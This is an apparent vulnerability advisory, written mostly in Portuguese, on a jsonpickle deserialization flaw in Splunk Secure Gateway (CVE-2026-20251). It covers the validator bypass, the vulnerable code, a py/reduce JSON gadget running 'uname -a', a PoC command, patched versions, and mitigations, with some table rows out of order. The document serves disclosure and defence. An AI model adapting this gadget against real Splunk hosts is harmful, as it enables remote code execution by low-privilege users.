
CVE-2026-20251 — Splunk Secure Gateway jsonpickle deserialization RCE (CVSS 8.8) | ReactiveZero Security Research
Pesquisador: Fady Oueslati · ReactiveZero Security Research
Referência: 2026FO-SPLUNK-20251
CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Status: Aberta — correção disponível
Um usuário autenticado com privilégios baixos pode obter execução remota de código em um host Splunk ao armazenar um documento manipulado no KV Store (coleção mobile_alerts). O Splunk Secure Gateway (SSG) posteriormente lê esse documento e o passa diretamente para jsonpickle.decode(), reconstruindo objetos Python arbitrários — incluindo aqueles que executam comandos do sistema operacional.
A chamada define safe=True, mas esta flag apenas protege o caminho de avaliação legado py/repr. As tags py/reduce, py/object, py/type, py/function e py/module não são afetadas e são totalmente exploráveis.
Um validador separado (check_alert_data_valid_json) tem a intenção de bloquear tags perigosas, mas faz um curto-circuito na primeira chave reconhecida: qualquer documento cuja primeira chave de nível superior seja um py/object permitido (valor começando com spacebridgeapp) retorna True imediatamente, deixando as chaves irmãs — incluindo um gadget py/reduce malicioso — completamente não inspecionadas.
| Ramo | Corrigido em |
|---|---|
| Splunk Secure Gateway 3.9.x | 3.9.20 |
| Splunk Secure Gateway 3.10.x | 3.10.6 |
| Splunk Secure Gateway 3.8.x |
Instância testada: SSG 3.9.19 no Splunk Enterprise 10.0.6 (macOS x86_64).
Step 0 Low-privilege attacker writes a crafted bypass document to the
'mobile_alerts' KV Store collection via the Splunk REST API.
No admin or power role required.
Step 1 SSG processes an alert fetch request.
alerts_request_processor.py reads the document and passes it to
check_alert_data_valid_json().
→ Validator sees "py/object": "spacebridgeapp..." as the FIRST key,
returns True, and never inspects the "notification" sibling that
carries the py/reduce gadget.
Step 2 The (now validated) document is passed to
jsonpickle.decode(..., safe=True).
jsonpickle loadclass()es the lure Alert object, instantiates it,
then iterates its stored attributes. When it reaches the
"notification" value, _restore_reduce() fires:
stage1 = f(*args) # unpickler.py ~line 526
safe=True has no effect on this code path.
Outcome Arbitrary code execution as the Splunk service account.
Requires only a valid low-privilege Splunk login.
{
"py/object": "spacebridgeapp.data.alert_data.Alert",
"notification": {
"py/reduce": [
{"py/function": "subprocess.check_output"},
{"py/tuple": [["uname", "-a"]]}
]
}
}
O validador examina py/object primeiro (permitido), retorna True e nunca chega a notification.
poc_cve_2026_20251.py demonstra as duas condições que constituem a cadeia de exploração completa:
O payload é deliberadamente benigno (apenas leitura uname -a). Isso não é um exploit armado.
jsonpickle empacotado no SSG (carregado de /Applications/Splunk/etc/apps/splunk_secure_gateway/lib)python3 poc_cve_2026_20251.py -h 127.0.0.1
Não execute contra sistemas de produção ou qualquer sistema que você não possua e não tenha autorização explícita por escrito para testar.
Arquivo: bin/spacebridgeapp/request/alerts_request_processor.py
alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True) # ← sink
Arquivo: bin/spacebridgeapp/rest/devices/alert_helper.py
# Validator short-circuits on the first 'py'-prefixed key:
for key, value in data.items():
if key.startswith("py"):
if key == "py/id":
return value.isinstance(int)
elif key == "py/object":
return value.startswith("spacebridgeapp") # ← returns immediately
else:
return False
# ... sibling keys are never reached
Primária: Atualizar o Splunk Secure Gateway para uma versão corrigida (3.9.20+, 3.10.6+, ou 3.8.67+) e o Splunk Enterprise para 10.0.7+ / 10.2.4+ / 10.4.0+.
Mitigações de curto prazo (se a correção não for imediatamente possível):
mobile_alertsPadrão de engenharia defensiva: Nunca reconstruir tipos arbitrários a partir de dados armazenados influenciados externamente. Substituir jsonpickle.decode() em entradas acessíveis ao atacante por um parser estrito e validado por esquema, ou fornecer uma lista de permissão classes= explícita para decode(). Garantir que as rotinas de validação percorram completamente estruturas aninhadas em vez de fazer curto-circuito na primeira chave reconhecida.
O mesmo lote de aviso inclui CVE-2026-20253 (CVSS 9.8, criação arbitrária de arquivos não autenticada através de um endpoint sidecar PostgreSQL). Esta vulnerabilidade não estava presente na compilação testada macOS x86_64 do Splunk Enterprise 10.0.6: o componente sidecar PostgreSQL não é fornecido nesta plataforma, não existem binários ou processos sidecar, e nenhuma porta correspondente foi observada.
Isso ilustra um princípio importante de garantia: uma string de versão afetada é uma condição necessária mas não suficiente para exploração. A verificação em nível de componente altera materialmente o cenário real de risco.
| Campo | Valor |
|---|---|
| Ref. do engajamento | 2026FO-SPLUNK-20251 |
| Tipo de teste | Verificação de Vulnerabilidade White-Box (Análise Estática de Código) |
ReactiveZero Security Research
| 3.8.67 |
| Splunk Enterprise | 10.0.7 / 10.2.4 / 10.4.0+ |
| Sub-prova | O que mostra |
|---|
| A — Bypass do validador | check_alert_data_valid_json() retorna True para o documento de bypass, nunca inspecionando o gadget py/reduce no valor irmão |
| B — Execução py/reduce | jsonpickle.decode(..., safe=True) executa subprocess.check_output(['uname', '-a']), provando que safe=True não protege este caminho de código |
| Data | 26 de junho de 2026 |
| Escopo | Instância de pesquisa local Splunk Enterprise 10.0.6 (127.0.0.1:8089) |
| Classificação | Confidencial |